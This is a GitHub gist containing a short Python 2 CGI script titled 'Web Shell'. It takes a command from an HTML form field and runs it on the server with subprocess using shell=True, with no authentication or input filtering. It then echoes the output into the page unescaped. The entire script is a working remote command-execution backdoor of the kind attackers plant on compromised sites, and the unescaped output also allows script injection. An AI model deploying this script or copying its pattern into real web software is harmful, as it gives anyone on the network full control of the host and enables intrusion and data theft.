Skip to content

Instantly share code, notes, and snippets.

@cwshu
Last active August 29, 2015 14:20
Show Gist options
  • Save cwshu/56b31493960db0878564 to your computer and use it in GitHub Desktop.
Save cwshu/56b31493960db0878564 to your computer and use it in GitHub Desktop.
#!/usr/local/bin/python2
import cgi
import subprocess as sp
html_template = """<html>
<head>
<title> Web Shell </title>
</head>
<body>
<div>
<p> input command: </p>
<form action="./web_shell.py" method="post">
<input type="text" name="command" value="{command}"/>
<input type="submit" />
</form>
</div>
<div>
<p> output: </p>
<p><pre>{output}</pre></p>
</div>
</body>
</html>
"""
# print 'Content-type: text/plain\r\n\r\n'
print 'Content-type: text/html\r\n\r\n'
form = cgi.FieldStorage()
command = form.getvalue('command')
p = sp.Popen(command, stdout=sp.PIPE, stderr=sp.STDOUT, shell=True)
# print p.stdout.read()
print html_template.format(command=command, output=p.stdout.read())
# def process_cmd_check_output(command):
# try:
# output = sp.check_output(command, shell=True)
# except sp.CalledProcessError as err:
# print 'error'
# else:
# print output
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment